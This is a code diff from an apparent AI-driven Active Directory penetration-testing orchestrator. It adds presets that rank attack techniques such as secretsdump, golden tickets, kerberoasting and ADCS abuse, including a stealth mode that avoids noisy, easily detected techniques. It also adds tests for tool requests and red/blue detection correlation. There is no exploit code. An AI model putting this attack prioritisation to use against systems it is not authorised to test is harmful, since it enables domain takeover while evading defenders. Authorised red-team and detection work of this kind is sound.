&TaskQueue, + mut vuln: VulnerabilityInfo, + strategy: Option<&crate::orchestrator::strategy::Strategy>, + ) -> Result { + // Apply strategy weight override if provided + if let Some(strategy_cfg) = strategy { + let effective = strategy_cfg.effective_priority(&vuln.vuln_type); + if effective != vuln.priority { + tracing::debug!( + vuln_type = %vuln.vuln_type, + original = vuln.priority, + effective = effective, + "Strategy override applied to vuln priority" + ); + vuln.priority = effective; + } + } + let operation_id = { let state = self.inner.read().await; state.operation_id.clone() diff --git a/ares-cli/src/orchestrator/strategy.rs b/ares-cli/src/orchestrator/strategy.rs new file mode 100644 index 00000000..eb57ab33 --- /dev/null +++ b/ares-cli/src/orchestrator/strategy.rs @@ -0,0 +1,701 @@ +//! Strategy profiles — technique weights and filtering for path diversity. +//! +//! Controls which attack techniques the operator prioritizes, allowing the same +//! codebase to run in "fast" mode (shortest path to DA) or "comprehensive" mode +//! (exploit everything discovered). Weights are generic AD technique categories, +//! not target-specific, so they scale to any environment. + +use std::collections::{HashMap, HashSet}; + +use serde::{Deserialize, Serialize}; +use tracing::info; + +/// Named strategy presets. Each provides default technique weights. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum StrategyPreset { + /// Shortest path to DA. Current default behavior. + #[default] + Fast, + /// Exploit all discovered vulnerabilities. Don't stop on first DA. + Comprehensive, + /// Avoid noisy techniques. Prefer ADCS, delegation, ACL abuse. + Stealth, +} + +impl StrategyPreset { + pub fn from_str_loose(s: &str) -> Self { + match s.to_lowercase().as_str() { + "comprehensive" | "full" | "all" => Self::Comprehensive, + "stealth" | "quiet" => Self::Stealth, + _ => Self::Fast, + } + } + + /// Default technique weights for this preset. + /// Lower number = higher priority (1 = most urgent, 10 = lowest). + fn default_weights(&self) -> HashMap { + match self { + Self::Fast => fast_weights(), + Self::Comprehensive => comprehensive_weights(), + Self::Stealth => stealth_weights(), + } + } + + /// Whether this preset implies `continue_after_da = true`. + pub fn implies_continue_after_da(&self) -> bool { + matches!(self, Self::Comprehensive) + } +} + +/// Resolved strategy: preset defaults merged with user overrides. +#[derive(Debug, Clone)] +pub struct Strategy { + pub preset: StrategyPreset, + /// Merged technique weights (preset defaults + user overrides). + pub weights: HashMap, + /// Techniques to completely exclude (never dispatch). + pub exclude_techniques: HashSet, + /// If non-empty, ONLY these techniques are allowed. + pub include_techniques: HashSet, + /// Keep exploiting after DA? Overridden by YAML stop_on_domain_admin. + pub continue_after_da: bool, + /// LLM temperature override. None = provider default. + pub llm_temperature: Option, +} + +impl Default for Strategy { + fn default() -> Self { + Self::from_preset(StrategyPreset::Fast) + } +} + +impl Strategy { + pub fn from_preset(preset: StrategyPreset) -> Self { + Self { + continue_after_da: preset.implies_continue_after_da(), + weights: preset.default_weights(), + exclude_techniques: HashSet::new(), + include_techniques: HashSet::new(), + llm_temperature: None, + preset, + } + } + + /// Resolve the strategy from all config sources. + /// + /// Precedence (highest wins): + /// 1. Environment variables (`ARES_STRATEGY`, `ARES_EXCLUDE_TECHNIQUES`, etc.) + /// 2. JSON operation payload fields (`strategy`, `technique_weights`, etc.) + /// 3. YAML config (`operation.strategy`, `operation.technique_weights`, + /// `vulnerability_priorities`) + /// 4. Preset defaults + pub fn resolve( + json: Option<&serde_json::Value>, + yaml: Option<&ares_core::config::AresConfig>, + ) -> Self { + // 1. Determine preset: env > json > yaml > default + let preset_str = std::env::var("ARES_STRATEGY") + .ok() + .or_else(|| { + json.and_then(|v| v.get("strategy")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) + }) + .or_else(|| { + yaml.map(|c| &c.operation.strategy) + .filter(|s| !s.is_empty()) + .cloned() + }) + .unwrap_or_else(|| "fast".to_string()); + let preset = StrategyPreset::from_str_loose(&preset_str); + + let mut strategy = Self::from_preset(preset); + + // 2. Merge technique weights: yaml vulnerability_priorities first (lowest + // precedence), then yaml technique_weights, then json, then env. + // Later layers overwrite earlier ones. + if let Some(cfg) = yaml { + // vulnerability_priorities from YAML (existing section) + for (k, v) in &cfg.vulnerability_priorities { + strategy.weights.insert(k.to_lowercase(), (*v).clamp(1, 10)); + } + // operation.technique_weights from YAML (new section, higher precedence) + for (k, v) in &cfg.operation.technique_weights { + strategy.weights.insert(k.to_lowercase(), (*v).clamp(1, 10)); + } + } + + // JSON payload technique_weights (higher precedence than YAML) + if let Some(weights) = json + .and_then(|v| v.get("technique_weights")) + .and_then(|v| v.as_object()) + { + for (k, v) in weights { + if let Some(w) = v.as_i64() { + strategy + .weights + .insert(k.to_lowercase(), w.clamp(1, 10) as i32); + } + } + } + + // 3. Parse exclude_techniques: env > json > yaml + let exclude = parse_technique_list( + json.and_then(|v| v.get("exclude_techniques")), + "ARES_EXCLUDE_TECHNIQUES", + ); + let exclude = if exclude.is_empty() { + yaml.map(|c| { + c.operation + .exclude_techniques + .iter() + .map(|s| s.to_lowercase()) + .collect() + }) + .unwrap_or_default() + } else { + exclude + }; + strategy.exclude_techniques = exclude; + + // 4. Parse include_techniques: env > json > yaml + let include = parse_technique_list( + json.and_then(|v| v.get("include_techniques")), + "ARES_INCLUDE_TECHNIQUES", + ); + let include = if include.is_empty() { + yaml.map(|c| { + c.operation + .include_techniques + .iter() + .map(|s| s.to_lowercase()) + .collect() + }) + .unwrap_or_default() + } else { + include + }; + strategy.include_techniques = include; + + // 5. Parse continue_after_da: env > json > yaml > preset default + if let Ok(v) = std::env::var("ARES_CONTINUE_AFTER_DA") { + strategy.continue_after_da = v == "1" || v.to_lowercase() == "true"; + } else if let Some(v) = json + .and_then(|v| v.get("continue_after_da")) + .and_then(|v| v.as_bool()) + { + strategy.continue_after_da = v; + } else if let Some(cfg) = yaml { + if cfg.operation.continue_after_da { + strategy.continue_after_da = true; + } + } + + // 6. Parse llm_temperature: env > json > yaml + strategy.llm_temperature = std::env::var("ARES_LLM_TEMPERATURE") + .ok() + .and_then(|v| v.parse::().ok()) + .or_else(|| { + json.and_then(|v| v.get("llm_temperature")) + .and_then(|v| v.as_f64()) + .map(|v| v as f32) + }) + .or_else(|| yaml.and_then(|c| c.operation.llm_temperature)); + + info!( + preset = ?strategy.preset, + continue_after_da = strategy.continue_after_da, + llm_temperature = ?strategy.llm_temperature, + exclude_count = strategy.exclude_techniques.len(), + include_count = strategy.include_techniques.len(), + weight_overrides = strategy.weights.len(), + "Strategy resolved" + ); + + strategy + } + + /// Check if a technique is allowed by the current strategy. + /// + /// A technique is blocked if: + /// - It appears in `exclude_techniques`, OR + /// - `include_techniques` is non-empty and the technique is NOT in it + pub fn is_technique_allowed(&self, technique: &str) -> bool { + let t = technique.to_lowercase(); + + if self.exclude_techniques.contains(&t) { + return false; + } + + if !self.include_techniques.is_empty() && !self.include_techniques.contains(&t) { + return false; + } + + true + } + + /// Get the effective priority for a vulnerability type. + /// + /// Returns the weight from the merged map, or a default of 5. + pub fn effective_priority(&self, vuln_type: &str) -> i32 { + let t = vuln_type.to_lowercase(); + self.weights.get(&t).copied().unwrap_or(5) + } + + /// Whether exploitation should continue after DA is achieved. + /// + /// `comprehensive` preset defaults to true. Can be overridden by + /// `continue_after_da` field or YAML `stop_on_domain_admin`. + pub fn should_continue_after_da(&self) -> bool { + self.continue_after_da + } + + /// Whether the strategy allows higher dispatch throughput per cycle. + /// Comprehensive mode lifts per-cycle `.take()` limits so all domains + /// get work dispatched in parallel rather than being serialized. + pub fn is_comprehensive(&self) -> bool { + self.preset == StrategyPreset::Comprehensive + } +} + +// --------------------------------------------------------------------------- +// Preset weight maps +// --------------------------------------------------------------------------- + +/// Fast: prioritize secretsdump and golden ticket. ADCS and ACL are fallbacks. +fn fast_weights() -> HashMap { + [ + ("dc_secretsdump", 1), + ("golden_ticket", 1), + ("forest_trust_escalation", 1), + ("child_to_parent", 1), + ("domain_admin", 1), + ("secretsdump", 2), + ("credential_reuse", 3), + ("mssql_access", 4), + ("mssql_linked_server", 4), + ("mssql_impersonation", 4), + ("constrained_delegation", 5), + ("unconstrained_delegation", 5), + ("esc1", 5), + ("esc4", 5), + ("esc8", 5), + ("rbcd", 6), + ("acl_abuse", 6), + ("shadow_credentials", 6), + ("mssql_deep_exploitation", 4), + ("kerberoast", 5), + ("asrep_roast", 5), + ("password_spray", 4), + ("gmsa", 3), + ("low_hanging_fruit", 4), + ("smb_signing_disabled", 7), + ("adcs_esc1", 5), + ("adcs_esc4", 5), + ("adcs_esc8", 5), + ("gpo_abuse", 6), + ("laps", 4), + ] + .into_iter() + .map(|(k, v)| (k.to_string(), v)) + .collect() +} + +/// Comprehensive: flat priorities so all techniques get equal attention. +fn comprehensive_weights() -> HashMap { + [ + ("dc_secretsdump", 3), + ("golden_ticket", 3), + ("forest_trust_escalation", 3), + ("child_to_parent", 3), + ("domain_admin", 3), + ("secretsdump", 3), + ("credential_reuse", 3), + ("mssql_access", 3), + ("mssql_linked_server", 3), + ("mssql_impersonation", 3), + ("constrained_delegation", 3), + ("unconstrained_delegation", 3), + ("esc1", 3), + ("esc4", 3), + ("esc8", 3), + ("rbcd", 3), + ("acl_abuse", 3), + ("shadow_credentials", 3), + ("mssql_deep_exploitation", 3), + ("kerberoast", 3), + ("asrep_roast", 3), + ("password_spray", 3), + ("gmsa", 3), + ("low_hanging_fruit", 3), + ("smb_signing_disabled", 3), + ("adcs_esc1", 3), + ("adcs_esc4", 3), + ("adcs_esc8", 3), + ("gpo_abuse", 3), + ("laps", 3), + ] + .into_iter() + .map(|(k, v)| (k.to_string(), v)) + .collect() +} + +/// Stealth: suppress noisy techniques, prefer ADCS and ACL paths. +fn stealth_weights() -> HashMap { + [ + ("dc_secretsdump", 6), + ("golden_ticket", 4), + ("forest_trust_escalation", 4), + ("child_to_parent", 4), + ("domain_admin", 3), + ("secretsdump", 7), + ("credential_reuse", 3), + ("mssql_access", 4), + ("mssql_linked_server", 4), + ("mssql_impersonation", 4), + ("constrained_delegation", 2), + ("unconstrained_delegation", 2), + ("esc1", 1), + ("esc4", 1), + ("esc8", 2), + ("rbcd", 3), + ("acl_abuse", 1), + ("shadow_credentials", 2), + ("mssql_deep_exploitation", 4), + ("kerberoast", 4), + ("asrep_roast", 3), + ("password_spray", 8), + ("gmsa", 3), + ("low_hanging_fruit", 4), + ("smb_signing_disabled", 8), + ("adcs_esc1", 1), + ("adcs_esc4", 1), + ("adcs_esc8", 2), + ("gpo_abuse", 3), + ("laps", 3), + ] + .into_iter() + .map(|(k, v)| (k.to_string(), v)) + .collect() +} + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +/// Parse a technique list from a JSON value (array of strings) or env var (comma-separated). +fn parse_technique_list(json_val: Option<&serde_json::Value>, env_key: &str) -> HashSet { + let mut set = HashSet::new(); + + if let Some(arr) = json_val.and_then(|v| v.as_array()) { + for item in arr { + if let Some(s) = item.as_str() { + set.insert(s.to_lowercase()); + } + } + } + + if let Ok(env_val) = std::env::var(env_key) { + for item in env_val.split(',') { + let trimmed = item.trim().to_lowercase(); + if !trimmed.is_empty() { + set.insert(trimmed); + } + } + } + + set +} + +// --------------------------------------------------------------------------- +// Tests +// --------------------------------------------------------------------------- + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_default_strategy_is_fast() { + let s = Strategy::default(); + assert_eq!(s.preset, StrategyPreset::Fast); + assert!(!s.continue_after_da); + } + + #[test] + fn test_comprehensive_implies_continue_after_da() { + let s = Strategy::from_preset(StrategyPreset::Comprehensive); + assert!(s.continue_after_da); + } + + #[test] + fn test_technique_allowed_no_filters() { + let s = Strategy::default(); + assert!(s.is_technique_allowed("secretsdump")); + assert!(s.is_technique_allowed("esc1")); + } + + #[test] + fn test_technique_excluded() { + let mut s = Strategy::default(); + s.exclude_techniques.insert("secretsdump".to_string()); + assert!(!s.is_technique_allowed("secretsdump")); + assert!(!s.is_technique_allowed("Secretsdump")); // case insensitive + assert!(s.is_technique_allowed("esc1")); + } + + #[test] + fn test_technique_include_allowlist() { + let mut s = Strategy::default(); + s.include_techniques.insert("esc1".to_string()); + s.include_techniques.insert("esc4".to_string()); + assert!(s.is_technique_allowed("esc1")); + assert!(s.is_technique_allowed("esc4")); + assert!(!s.is_technique_allowed("secretsdump")); + } + + #[test] + fn test_effective_priority_from_preset() { + let s = Strategy::from_preset(StrategyPreset::Fast); + assert_eq!(s.effective_priority("dc_secretsdump"), 1); + assert_eq!(s.effective_priority("esc1"), 5); + } + + #[test] + fn test_effective_priority_with_override() { + let mut s = Strategy::from_preset(StrategyPreset::Fast); + s.weights.insert("esc1".to_string(), 1); + assert_eq!(s.effective_priority("esc1"), 1); + } + + #[test] + fn test_effective_priority_unknown_type() { + let s = Strategy::default(); + assert_eq!(s.effective_priority("unknown_technique"), 5); + } + + #[test] + fn test_stealth_deprioritizes_noisy() { + let s = Strategy::from_preset(StrategyPreset::Stealth); + assert!(s.effective_priority("password_spray") > s.effective_priority("esc1")); + assert!(s.effective_priority("secretsdump") > s.effective_priority("acl_abuse")); + } + + #[test] + fn test_comprehensive_flat_weights() { + let s = Strategy::from_preset(StrategyPreset::Comprehensive); + assert_eq!(s.effective_priority("secretsdump"), 3); + assert_eq!(s.effective_priority("esc1"), 3); + assert_eq!(s.effective_priority("acl_abuse"), 3); + } + + #[test] + fn test_preset_from_str_loose() { + assert_eq!(StrategyPreset::from_str_loose("fast"), StrategyPreset::Fast); + assert_eq!( + StrategyPreset::from_str_loose("comprehensive"), + StrategyPreset::Comprehensive + ); + assert_eq!( + StrategyPreset::from_str_loose("full"), + StrategyPreset::Comprehensive + ); + assert_eq!( + StrategyPreset::from_str_loose("stealth"), + StrategyPreset::Stealth + ); + assert_eq!( + StrategyPreset::from_str_loose("quiet"), + StrategyPreset::Stealth + ); + assert_eq!( + StrategyPreset::from_str_loose("garbage"), + StrategyPreset::Fast + ); + } + + #[test] + fn test_from_json_with_overrides() { + let json = serde_json::json!({ + "strategy": "fast", + "technique_weights": { + "esc1": 1, + "secretsdump": 8 + }, + "exclude_techniques": ["password_spray"], + "continue_after_da": true + }); + + let s = Strategy::resolve(Some(&json), None); + assert_eq!(s.preset, StrategyPreset::Fast); + assert_eq!(s.effective_priority("esc1"), 1); + assert_eq!(s.effective_priority("secretsdump"), 8); + assert!(!s.is_technique_allowed("password_spray")); + assert!(s.continue_after_da); + } + + #[test] + fn test_parse_technique_list_json_array() { + let json = serde_json::json!(["secretsdump", "golden_ticket"]); + let result = parse_technique_list(Some(&json), "NONEXISTENT_ENV_KEY_12345"); + assert!(result.contains("secretsdump")); + assert!(result.contains("golden_ticket")); + assert_eq!(result.len(), 2); + } + + /// Build a minimal AresConfig for testing YAML strategy resolution. + fn test_yaml_config( + strategy: &str, + continue_after_da: bool, + exclude: Vec<&str>, + technique_weights: Vec<(&str, i32)>, + vuln_priorities: Vec<(&str, i32)>, + ) -> ares_core::config::AresConfig { + let yaml_str = serde_yaml::to_string(&serde_json::json!({ + "operation": { + "name": "test", + "namespace": "ns", + "strategy": strategy, + "continue_after_da": continue_after_da, + "exclude_techniques": exclude, + "technique_weights": technique_weights.into_iter() + .collect::>(), + }, + "agents": {}, + "timeouts": {}, + "recovery": {}, + "phase_detection": {}, + "context_management": {}, + "vulnerability_priorities": vuln_priorities.into_iter() + .collect::>(), + "logging": {}, + "resources": {}, + "security": {}, + })) + .unwrap(); + serde_yaml::from_str(&yaml_str).unwrap() + } + + #[test] + fn test_resolve_with_yaml_config() { + let cfg = test_yaml_config( + "comprehensive", + true, + vec!["password_spray"], + vec![("esc1", 1), ("secretsdump", 8)], + vec![("adcs_esc1", 2), ("kerberoast", 7)], + ); + + let s = Strategy::resolve(None, Some(&cfg)); + assert_eq!(s.preset, StrategyPreset::Comprehensive); + assert!(s.continue_after_da); + assert!(!s.is_technique_allowed("password_spray")); + // technique_weights override vulnerability_priorities for same key + assert_eq!(s.effective_priority("esc1"), 1); + // vulnerability_priorities loaded for keys not in technique_weights + assert_eq!(s.effective_priority("kerberoast"), 7); + // technique_weights takes precedence + assert_eq!(s.effective_priority("secretsdump"), 8); + } + + #[test] + fn test_json_overrides_yaml() { + let cfg = test_yaml_config("stealth", false, vec![], vec![("esc1", 5)], vec![]); + + // JSON payload overrides YAML + let json = serde_json::json!({ + "strategy": "fast", + "technique_weights": {"esc1": 2} + }); + let s = Strategy::resolve(Some(&json), Some(&cfg)); + // JSON "fast" wins over YAML "stealth" + assert_eq!(s.preset, StrategyPreset::Fast); + // JSON weight wins over YAML weight + assert_eq!(s.effective_priority("esc1"), 2); + } + + #[test] + fn test_is_comprehensive() { + assert!(Strategy::from_preset(StrategyPreset::Comprehensive).is_comprehensive()); + assert!(!Strategy::from_preset(StrategyPreset::Fast).is_comprehensive()); + assert!(!Strategy::from_preset(StrategyPreset::Stealth).is_comprehensive()); + } + + #[test] + fn test_should_continue_after_da() { + let fast = Strategy::from_preset(StrategyPreset::Fast); + assert!(!fast.should_continue_after_da()); + + let comp = Strategy::from_preset(StrategyPreset::Comprehensive); + assert!(comp.should_continue_after_da()); + + let stealth = Strategy::from_preset(StrategyPreset::Stealth); + assert!(!stealth.should_continue_after_da()); + } + + #[test] + fn test_new_technique_weights_in_presets() { + // Verify that new techniques added in this branch are in all presets + let new_techniques = ["rbcd", "shadow_credentials", "mssql_deep_exploitation"]; + for preset in [ + StrategyPreset::Fast, + StrategyPreset::Comprehensive, + StrategyPreset::Stealth, + ] { + let s = Strategy::from_preset(preset); + for tech in &new_techniques { + assert!( + s.weights.contains_key(*tech), + "Preset {:?} missing weight for {tech}", + preset + ); + } + } + } + + #[test] + fn test_comprehensive_has_equal_weights() { + let s = Strategy::from_preset(StrategyPreset::Comprehensive); + // All comprehensive weights should be 3 + for (tech, weight) in &s.weights { + assert_eq!(*weight, 3, "Technique {tech} has weight {weight} != 3"); + } + } + + #[test] + fn test_stealth_penalizes_noisy_techniques() { + let s = Strategy::from_preset(StrategyPreset::Stealth); + // Password spray and SMB signing should be most penalized (8) + assert_eq!(s.effective_priority("password_spray"), 8); + assert_eq!(s.effective_priority("smb_signing_disabled"), 8); + // ADCS/ACL should be most prioritized (1) + assert_eq!(s.effective_priority("esc1"), 1); + assert_eq!(s.effective_priority("acl_abuse"), 1); + } + + #[test] + fn test_fast_prioritizes_secretsdump() { + let s = Strategy::from_preset(StrategyPreset::Fast); + assert_eq!(s.effective_priority("dc_secretsdump"), 1); + assert_eq!(s.effective_priority("golden_ticket"), 1); + assert_eq!(s.effective_priority("secretsdump"), 2); + } + + #[test] + fn test_preset_implies_continue_after_da() { + assert!(StrategyPreset::Comprehensive.implies_continue_after_da()); + assert!(!StrategyPreset::Fast.implies_continue_after_da()); + assert!(!StrategyPreset::Stealth.implies_continue_after_da()); + } + + #[test] + fn test_include_and_exclude_interact() { + let mut s = Strategy::default(); + // Include-only list + s.include_techniques.insert("esc1".to_string()); + // Exclude takes precedence over include + s.exclude_techniques.insert("esc1".to_string()); + assert!(!s.is_technique_allowed("esc1")); + } +} diff --git a/ares-cli/src/orchestrator/throttling.rs b/ares-cli/src/orchestrator/throttling.rs index 901a9834..25ad4fe8 100644 --- a/ares-cli/src/orchestrator/throttling.rs +++ b/ares-cli/src/orchestrator/throttling.rs @@ -295,6 +295,8 @@ mod tests { target_domain: String::new(), target_ips: Vec::new(), initial_credential: None, + strategy: crate::orchestrator::strategy::Strategy::default(), + listener_ip: None, }); let tracker = ActiveTaskTracker::new(); (Throttler::new(config, tracker.clone()), tracker) diff --git a/ares-cli/src/worker/tool_executor.rs b/ares-cli/src/worker/tool_executor.rs index 68d17d25..2dcbdf69 100644 --- a/ares-cli/src/worker/tool_executor.rs +++ b/ares-cli/src/worker/tool_executor.rs @@ -449,4 +449,237 @@ mod tests { assert_eq!(TOOL_EXEC_PREFIX, "ares:tool_exec"); assert_eq!(TOOL_RESULT_PREFIX, "ares:tool_results"); } + + #[test] + fn result_ttl_is_one_hour() { + assert_eq!(RESULT_TTL, 3600); + } + + #[test] + fn tool_exec_request_deserialize_with_traceparent() { + let json = r#"{ + "call_id": "secretsdump_001", + "task_id": "task_abc", + "tool_name": "secretsdump", + "arguments": {"target": "192.168.58.10", "domain": "contoso.local"}, + "traceparent": "00-4bf92f3577b34da6a3ce929d0e0e4736-00f067aa0ba902b7-01" + }"#; + let req: ToolExecRequest = serde_json::from_str(json).unwrap(); + assert_eq!(req.call_id, "secretsdump_001"); + assert_eq!(req.tool_name, "secretsdump"); + assert_eq!( + req.traceparent.as_deref(), + Some("00-4bf92f3577b34da6a3ce929d0e0e4736-00f067aa0ba902b7-01") + ); + } + + #[test] + fn tool_exec_request_deserialize_with_operation_id() { + let json = r#"{ + "call_id": "nmap_002", + "task_id": "recon_task", + "tool_name": "nmap_scan", + "arguments": {"target": "192.168.58.0/24"}, + "operation_id": "op-20260422-abc123" + }"#; + let req: ToolExecRequest = serde_json::from_str(json).unwrap(); + assert_eq!(req.operation_id.as_deref(), Some("op-20260422-abc123")); + } + + #[test] + fn tool_exec_request_defaults_for_optional_fields() { + let json = r#"{ + "call_id": "basic_001", + "task_id": "task_001", + "tool_name": "whoami", + "arguments": {} + }"#; + let req: ToolExecRequest = serde_json::from_str(json).unwrap(); + assert!(req.traceparent.is_none()); + assert!(req.operation_id.is_none()); + } + + #[test] + fn tool_exec_request_complex_arguments() { + let json = r#"{ + "call_id": "netexec_003", + "task_id": "lateral_task", + "tool_name": "netexec_smb", + "arguments": { + "target": "192.168.58.10", + "username": "admin", + "password": "P@ssw0rd!", + "domain": "contoso.local", + "shares": true, + "port": 445 + } + }"#; + let req: ToolExecRequest = serde_json::from_str(json).unwrap(); + assert_eq!(req.tool_name, "netexec_smb"); + assert_eq!(req.arguments["target"], "192.168.58.10"); + assert_eq!(req.arguments["domain"], "contoso.local"); + assert_eq!(req.arguments["shares"], true); + assert_eq!(req.arguments["port"], 445); + } + + #[test] + fn tool_exec_response_empty_discoveries_omitted() { + let resp = ToolExecResponse { + call_id: "test_001".into(), + output: "some output".into(), + error: None, + discoveries: None, + }; + let json = serde_json::to_string(&resp).unwrap(); + assert!(!json.contains("discoveries")); + } + + #[test] + fn tool_exec_response_with_multiple_discovery_types() { + let resp = ToolExecResponse { + call_id: "nmap_004".into(), + output: "scan output".into(), + error: None, + discoveries: Some(serde_json::json!({ + "hosts": [ + {"ip": "192.168.58.10", "hostname": "dc01.contoso.local", "services": ["445/tcp", "88/tcp"]}, + {"ip": "192.168.58.11", "hostname": "sql01.contoso.local", "services": ["1433/tcp"]} + ], + "services": [ + {"port": 445, "protocol": "tcp", "service": "microsoft-ds"} + ] + })), + }; + let json = serde_json::to_string(&resp).unwrap(); + let parsed: serde_json::Value = serde_json::from_str(&json).unwrap(); + let hosts = parsed["discoveries"]["hosts"].as_array().unwrap(); + assert_eq!(hosts.len(), 2); + assert_eq!(hosts[0]["ip"], "192.168.58.10"); + assert_eq!(hosts[1]["hostname"], "sql01.contoso.local"); + } + + #[test] + fn tool_exec_response_serialization_roundtrip() { + let resp = ToolExecResponse { + call_id: "roundtrip_test".into(), + output: "output with special chars: <>&\"'".into(), + error: Some("exit code 1".into()), + discoveries: Some(serde_json::json!({"credentials": []})), + }; + let json = serde_json::to_string(&resp).unwrap(); + let parsed: serde_json::Value = serde_json::from_str(&json).unwrap(); + assert_eq!(parsed["call_id"], "roundtrip_test"); + assert_eq!(parsed["error"], "exit code 1"); + assert!(parsed["discoveries"]["credentials"].is_array()); + } + + #[test] + fn tool_exec_response_error_message_format() { + // Verify the format used in execute_and_respond for unavailable tools + let tool_name = "nonexistent_tool"; + let error_msg = format!( + "Tool '{}' is not installed on this worker. \ + Do not call this tool again — it failed to spawn previously.", + tool_name + ); + assert!(error_msg.contains("nonexistent_tool")); + assert!(error_msg.contains("not installed")); + } + + #[test] + fn queue_key_format() { + let role = "recon"; + let key = format!("{TOOL_EXEC_PREFIX}:{role}"); + assert_eq!(key, "ares:tool_exec:recon"); + } + + #[test] + fn result_key_format() { + let call_id = "nmap_scan_abc123"; + let key = format!("{TOOL_RESULT_PREFIX}:{call_id}"); + assert_eq!(key, "ares:tool_results:nmap_scan_abc123"); + } + + #[test] + fn connection_error_detection_keywords() { + // Verify the connection error detection logic from the main loop + let conn_keywords = [ + "connection", + "connect", + "closed", + "timeout", + "broken pipe", + "reset", + ]; + + let test_errors = [ + ("connection refused", true), + ("failed to connect", true), + ("connection closed", true), + ("operation timeout", true), + ("broken pipe", true), + ("connection reset by peer", true), + ("invalid argument", false), + ("permission denied", false), + ("key not found", false), + ]; + + for (error_str, expected_is_conn) in test_errors { + let error_lower = error_str.to_lowercase(); + let is_conn = conn_keywords.iter().any(|kw| error_lower.contains(kw)); + assert_eq!( + is_conn, + expected_is_conn, + "Error '{}' should {}be a connection error", + error_str, + if expected_is_conn { "" } else { "NOT " } + ); + } + } + + #[test] + fn unavailable_tool_detection_keywords() { + // Verify the keywords used to detect unavailable tools + let test_errors = [ + ("failed to spawn 'nmap' — is it installed?", true), + ("tool not installed: certipy", true), + ("command not found", false), + ("permission denied", false), + ]; + + for (err_str, expected_unavailable) in test_errors { + let is_unavailable = + err_str.contains("failed to spawn") || err_str.contains("not installed"); + assert_eq!( + is_unavailable, + expected_unavailable, + "Error '{}' should {}mark tool as unavailable", + err_str, + if expected_unavailable { "" } else { "NOT " } + ); + } + } + + #[test] + fn tool_exec_request_deserialize_rejects_missing_required() { + // Missing call_id should fail + let json = r#"{ + "task_id": "task_001", + "tool_name": "nmap", + "arguments": {} + }"#; + let result: Result = serde_json::from_str(json); + assert!(result.is_err()); + } + + #[test] + fn tool_exec_request_deserialize_rejects_missing_tool_name() { + let json = r#"{ + "call_id": "call_001", + "task_id": "task_001", + "arguments": {} + }"#; + let result: Result = serde_json::from_str(json); + assert!(result.is_err()); + } } diff --git a/ares-core/src/config/sections.rs b/ares-core/src/config/sections.rs index 109d7548..eae623ad 100644 --- a/ares-core/src/config/sections.rs +++ b/ares-core/src/config/sections.rs @@ -23,6 +23,31 @@ pub struct OperationConfig { pub stop_on_domain_admin: bool, #[serde(default)] pub stop_on_golden_ticket: bool, + + /// Strategy preset: "fast" (default), "comprehensive", or "stealth". + #[serde(default)] + pub strategy: String, + + /// Keep exploiting after Domain Admin is achieved. + #[serde(default)] + pub continue_after_da: bool, + + /// Techniques to completely exclude (never dispatch). + #[serde(default)] + pub exclude_techniques: Vec, + + /// If non-empty, ONLY these techniques are allowed. + #[serde(default)] + pub include_techniques: Vec, + + /// Per-technique priority overrides (lower = higher priority, 1-10). + /// Merged on top of the preset's defaults. + #[serde(default)] + pub technique_weights: std::collections::HashMap, + + /// LLM temperature override (0.0-2.0). None = provider default. + #[serde(default)] + pub llm_temperature: Option, } /// Per-agent configuration: model selection, step limits, and tool allowlist. diff --git a/ares-core/src/correlation/redblue/tests.rs b/ares-core/src/correlation/redblue/tests.rs index c19606a8..2ac590e2 100644 --- a/ares-core/src/correlation/redblue/tests.rs +++ b/ares-core/src/correlation/redblue/tests.rs @@ -287,3 +287,491 @@ fn test_recommend_detection() { let unknown = make_red_activity("T9999", "192.168.58.10", utc(12, 0)); assert!(RedBlueCorrelator::recommend_detection(&unknown).is_none()); } + +// ──────────────────────────────────────────────────────────────────────────── +// Additional coverage tests +// ──────────────────────────────────────────────────────────────────────────── + +#[test] +fn test_recommend_detection_all_known_techniques() { + let known_techniques = [ + ("T1046", "scanning"), + ("T1110", "authentication"), + ("T1078.002", "domain admin"), + ("T1558.001", "krbtgt"), + ("T1021.002", "SMB"), + ]; + for (technique, expected_keyword) in known_techniques { + let activity = make_red_activity(technique, "192.168.58.10", utc(12, 0)); + let rec = RedBlueCorrelator::recommend_detection(&activity); + assert!(rec.is_some(), "Expected recommendation for {technique}"); + let rec_text = rec.unwrap().to_lowercase(); + assert!( + rec_text.contains(&expected_keyword.to_lowercase()), + "Recommendation for {technique} should mention '{expected_keyword}', got: {rec_text}" + ); + } +} + +#[test] +fn test_recommend_detection_no_technique_id() { + let mut activity = make_red_activity("T1003", "192.168.58.10", utc(12, 0)); + activity.technique_id = None; + let rec = RedBlueCorrelator::recommend_detection(&activity); + assert!(rec.is_none()); +} + +#[test] +fn test_determine_gap_reason_no_technique() { + let mut activity = make_red_activity("T1003", "192.168.58.10", utc(12, 0)); + activity.technique_id = None; + let reason = RedBlueCorrelator::determine_gap_reason(&activity, &[]); + assert!(reason.contains("no associated MITRE technique")); +} + +#[test] +fn test_determine_gap_reason_no_matching_alert() { + let activity = make_red_activity("T1003", "192.168.58.10", utc(12, 0)); + let detections = vec![make_blue_detection( + "Network Scan", + "T1046", + "192.168.58.10", + utc(12, 5), + )]; + let reason = RedBlueCorrelator::determine_gap_reason(&activity, &detections); + assert!(reason.contains("No alert rules configured for technique T1003")); +} + +#[test] +fn test_determine_gap_reason_alert_exists_but_no_trigger() { + let activity = make_red_activity("T1003", "192.168.58.10", utc(12, 0)); + let detections = vec![make_blue_detection( + "Credential Dumping", + "T1003", + "192.168.58.20", + utc(14, 0), // Way outside time window + )]; + let reason = RedBlueCorrelator::determine_gap_reason(&activity, &detections); + assert!(reason.contains("Alert exists but did not trigger")); +} + +#[test] +fn test_determine_gap_reason_hierarchical_technique_match() { + // T1003 alert should match T1003.006 activity + let activity = make_red_activity("T1003.006", "192.168.58.10", utc(12, 0)); + let detections = vec![make_blue_detection( + "Credential Alert", + "T1003", + "192.168.58.20", + utc(14, 0), + )]; + let reason = RedBlueCorrelator::determine_gap_reason(&activity, &detections); + // Since T1003 matches T1003.006 hierarchically, reason should mention trigger not time window + assert!(reason.contains("Alert exists but did not trigger")); +} + +#[test] +fn test_techniques_match_subtechnique_siblings() { + // T1003.001 and T1003.006 share parent T1003 so they should match + assert!(RedBlueCorrelator::techniques_match( + Some("T1003.001"), + Some("T1003.006") + 